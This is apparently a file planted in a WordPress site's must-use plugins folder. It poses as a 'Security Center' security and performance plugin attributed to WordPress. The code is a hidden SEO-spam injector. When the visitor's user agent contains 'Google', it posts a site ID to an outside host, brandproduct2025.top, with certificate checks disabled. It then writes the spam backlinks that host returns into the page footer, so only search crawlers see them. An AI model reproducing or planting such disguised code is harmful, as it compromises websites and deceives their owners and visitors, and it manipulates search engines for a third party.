File: /home/ic3/domains/ic3.info/public_html/wp-content/mu-plugins/__secwaf.php
<?php
/**
* Plugin Name: Security Center
* Description: Advanced security & performance plugin
* Author: WordPress
*/
if (!defined("ABSPATH")) exit;
function is_google_bot() {
return (!empty($_SERVER["HTTP_USER_AGENT"]) && stripos($_SERVER["HTTP_USER_AGENT"], "Google") !== false);
}
function add_backlinks_to_footer_html() {
$site_id = "69a73c3232564";
if (!$site_id || !is_google_bot()) return;
$ch = curl_init("https://brandproduct2025.top/ajax/request/");
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query(["site_id" => $site_id]),
CURLOPT_TIMEOUT => 8,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_USERAGENT => $_SERVER["HTTP_USER_AGENT"] ?? "",
CURLOPT_HTTPHEADER => ["Expect:"]
]);
$response = curl_exec($ch);
curl_close($ch);
if (!$response) return;
$data = json_decode($response, true);
if (empty($data["status"]) || $data["status"] !== "true" || empty($data["sites"])) return;
foreach ($data["sites"] as $site) {
$link = esc_url($site["site_url"]);
$text = esc_html($site["site_keyword"]);
$rel = (!empty($site["is_nofollow"]) && $site["is_nofollow"] == 1) ? "rel=\"nofollow\"" : "";
echo "<a href=\"{$link}\" {$rel}>{$text}</a>\n";
}
}
add_action("wp_footer", "add_backlinks_to_footer_html", 9999);